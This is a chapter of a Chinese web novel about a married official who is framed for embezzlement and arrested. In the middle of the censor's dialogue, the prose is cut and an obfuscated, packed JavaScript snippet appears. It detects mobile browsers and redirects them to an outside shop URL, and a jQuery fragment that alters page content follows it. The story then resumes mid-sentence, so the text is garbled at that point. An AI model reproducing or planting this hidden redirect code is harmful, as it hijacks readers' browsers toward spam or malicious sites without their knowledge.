24. 第 24 章
作品:《被迫成婚后(女尊)》 林卿睡到日上三竿,睁眼就看到陆简之在他身旁,一只手环着他的腰,睡颜沉静。
林卿靠在她怀里又陪着睡了一会儿,小心翼翼绕过她下床,坐在梳妆台前。
扶雨进来伺候他洗脸更衣,林卿拿着帕子净手,放低声音问:“青和哥怎么样了?还好吗?”
“正要和公子说这事呢。”扶雨道,“我今早去给周郎君送吃的,却发现他房里没人,找了一圈都没看到。”
“什么?”林卿惊道,“那他一个人去哪儿了?他身上还带着伤呢。”
林卿连忙到周青和昨晚休息的房间查看,被子叠得整整齐齐,茶水是冷的,桌上的药瓶再也没动过,只穿走了林卿给他准备的一身干净衣裳。
周青和一直不愿透露他家住哪儿,林卿想找他都无从下手。
“罢了。”
“大约还是放不下孩子又回去了,下次再来,我可得好好问问他。”
“怎么了?”
陆简之踏进门来,见主仆二人站在一间空屋子里说话,她扫了一眼:“这里住谁了?”
“没谁。”人都走了,林卿也不想多事,他拉着陆简之往外走,问道,“妻主今天不忙公务吗?”
陆简之低头看他,视线停留在他看起来毫无变化的腹部,月份不大,穿着衣裳不明显,但陆简之知道,夜里睡觉时摸起来多了一层软乎的肉。
“嗯。”陆简之手放在他的腹部,“今天就在家,看看两个小崽子这段时间有没有好好听话,她还好吗?有没有闹腾?”
林卿抿着唇笑:“还小呢,摸不到的。”
陆简之收回手,也笑:“等会儿让郎中来诊脉。”
“好。”林卿乖乖答应,晃着陆简之的手,仰着脸说:“妻主今天在家吃饭,那我去备菜好不好,妻主想吃什么?”
“都行。”陆简之掐着他的脸蛋,欺身凑近道,“给自己好好补补。”
陆简之让人在院子阴凉处搭了张桌子,陆桢和陆绥平日学的书摊开放在桌上,旁边是她们近日做的功课,陆简之随手从树上折断一根树枝,手背在身后悠闲踱步,考问两个孩子的功课。
“桢桢,你这字这么越写越难看了?”和他爹一模一样,“几日没看着你,玩野了是吧?”
陆桢瘪着嘴,和陆绥拉着手互相使眼色:“太难了……”
陆简之瞥了他一眼,树枝轻轻挥在桌上,把人吓一激灵。
“别找借口。”陆简之道,“你们爹爹那小时候的字可比这丑多了,他都练好了,你怎么不行?”
两个孩子睁圆了眼,表示震惊:“啊……”
厨房离得不远,林卿里面做着菜,就听见陆简之在外边拆他的台,扶雨和两个厨子都在一旁偷笑,林卿脸上挂不住,抓着汤勺就出来了。
“妻主。”他走近扯了一下陆简之的手,“你乱说什么呢?”
陆简之挑眉:“我说什么了?”
“……”
林卿又说不过她,转而替陆桢说话:“你每天早出晚归的,难得有空陪她们,就别只顾着功课了……”
两个孩子可怜兮兮地看着她,陆简之气笑了:“行,那去玩吧,晚点再收拾你们。”
说着捏住林卿的脸蛋:“晚点收拾你。”
林卿不好意思,一溜烟跑回厨房了。
陆简之被俩孩子一左一右拉去推秋千,玩到一半,门房说有客人来了。
陆简之起身,正看到文竹带着两个人进来。
一个杨涣,一个王县丞,手里还提着礼物。
陆简之端着笑:“来就来,还带什么礼啊。”
说罢一把将礼物拿过来,递给文竹:“快看看两位大人带的什么,礼不好可不让进门的。”
王县丞擦着汗:“大人你这这这——”
“崩跟她计较。”杨涣四处看了看,掀衣一屁股坐到凳子上,调笑道,“王阿姊,这么久了,还没习惯你这位上司的脾气啊?”
王县丞汗颜:“这不是刚开始看不清局势吗,亏得有二位大人在——”
“行了。”王县丞为人老实,家又在云川,门第不高,审时度势左右逢源也是人之常情,陆简之亲手给两人斟茶,“这个点来,也没提前说一声,我家可没做多的菜,下次请二位去酒楼吃。”
“那行。”杨涣一拍手,“那我指定不跟你客气。”
诉状及有关证据已经快马加鞭送到洛京,杨澈犹在梦中,处置应当不久就会下来,几人到书房谈后面的事。
陆简之送两人出门时,正好开饭了,林卿好奇地往外面看了一眼:“那两位大人不留下用饭吗?”
“不留了。”陆简之把陆绥抱上椅子,“我们自己吃。”
饭后,郎中来诊脉,拧着眉头一脸凝重地看了半天,才收回手勉勉强强道:“身子养得还成,总算比上次好些,还是不可疏忽。”
陆简之称是,结了诊费送人离开,林卿坐在榻上,两个孩子都围在他身边,陆桢到了记事的年纪,懵懂地问:“爹爹,我要有小妹妹了吗?”
“不要小妹妹。”陆绥在一旁摇头晃脑,“我要小弟弟。”
“要妹妹。”
“不要妹妹——”
两个孩子嘀嘀咕咕说个不停,把林卿逗笑了,陆简之进来,林卿拉着她问:“妻主,你想要女儿还是儿子?”
陆简之说:“都好。”
林卿继续问:“那要是个女儿呢?”
陆简之道:“那我们就有两个女儿了。”
林卿:“如果是个儿子呢?”
陆简之道:“那我们就有两个儿子了。”
“……”
林卿表情有一瞬的空白。
陆简之没忍住,笑道:“别想了,平安生下来最重要。”
云川的消息送到洛京,最快的速度一来一回也要半个月,杨攸势力虽不及从前,门生旧交仍在,朝堂博弈拉扯也需费一番功夫,陆简之预计最迟在下月中旬就会收到处置结果,却不料与长宁侯的金银财物名贵补品一起来的,是朝廷奉旨查案的御史。
马蹄声逼近,一队官兵举着火把,趁夜围住了陆简之住的宅子,为首之人一身绯色官袍,勒住缰绳,沉声道:“敲门。”
陆简之听到动静披衣起身,不待人撞门就打开门,夜色融融,她出现在众人面前,抬眼扫视一圈,面沉如水:“李御史,你这是做什么?”
李御史执掌纠察之责多年,为官清贫,素不与人结交,此刻话不多说:“奉旨,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020892|191467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
查你在云川为官期间,贪墨渎职之案。”
陆简之没想到自己还能与这几个字扯上关系,皱眉道:“你说什么?”
“陆大人,本官也是奉旨办事,至于旁的,你自入京向陛下请罪吧。”
李御史一声令下:“搜!”
陆简之退到一旁,心知事出蹊跷,亦无可转圜,且过了今夜弄清缘由再寻对策。
这般大张旗鼓,也不知能搜出什么。
林卿和桢桢阿绥正睡着,不知有没有被吓醒。
陆简之先去看林卿,林卿早已醒来,惶惑不安地站在屋前:“妻主,出什么事了?外面怎么这么吵?”
“没事。”陆简之安慰他,想了想转而问道,“我不在家的时候,有没有发生什么别的事?”
“没啊。”林卿更加茫然。
“那有没有旁人进门?”
“没——”林卿说到一半,想到周青和,彻底清醒,慢慢睁大了眼睛,心里没由来的一阵慌张。
两个孩子醒了,闹着要找爹爹,扶雨把她们带到林卿身边。
“妻主——”
夜色昏沉,林卿迟来地想说周青和的事,突然一间厢房内,传出一声大呼:“大人,找到了!”
那间房的床榻中间不知何时被掏出一个大洞,官兵们顺着洞往下挖,一箱箱金银暴露在众人眼前,夜色昏暗挡不住金银闪烁。
李御史挨个检视这几箱钱财,脸上神色复杂。
陆简之疾步走去,林卿想和她说话都找不到机会,小跑着跟过去,直到看到那几箱罪证。
他后知后觉地想起,这是那晚周青和住过的屋子。
箱子只看了一眼,就被贴上了封条,陆简之脸色极差,事到临头,即便知道有人构陷还是不得不辩解一句:“李御史,这些东西不是我的,我也不知从何而来。”
“真相究竟如何自有有司会审。”李御史深深看了她一眼,命人左右两人站在她身旁,”陆大人,是你自己走,还是本官让人押着你走。”
陆简之即将被落入大狱,林卿脑子轰的一声,冲上前紧紧抓着她:“我家妻主是被人冤枉的,我,我知道这些金银是哪来的,是,是周青和——”
陆简之疑惑:“周青和是谁?”
林卿颤着声把前段时间的事情说了一下,几乎不敢看她的脸色,陆简也记起那日他和扶雨两人在这间屋中交谈,面色骤冷,盯着他的眼睛:“我曾几次嘱咐让你小心谨慎,这件事为什么不早说?”
“从他上门求助那日过去多久了,有那么多机会,为什么不告诉我?”
陆简之掐着她的下巴,迫使他抬起头:“说话!”
“对不起,对不起妻主……”
林卿自知做错了事,眼泪簌簌而下,一声声认着错。
陆简之不再看他,转身就走。
林卿只能眼睁睁看着她离去。
官兵陆续而出。
这处宅子也将被查封,她们必须找新的地方。
陆简之握紧拳头,深吸一口气停下脚步:“李御史,事件未清,罪不及——”
“我知道。”
李御史道:“你放心,你家夫郎孩子,我会让人看着的。”
“多谢。”

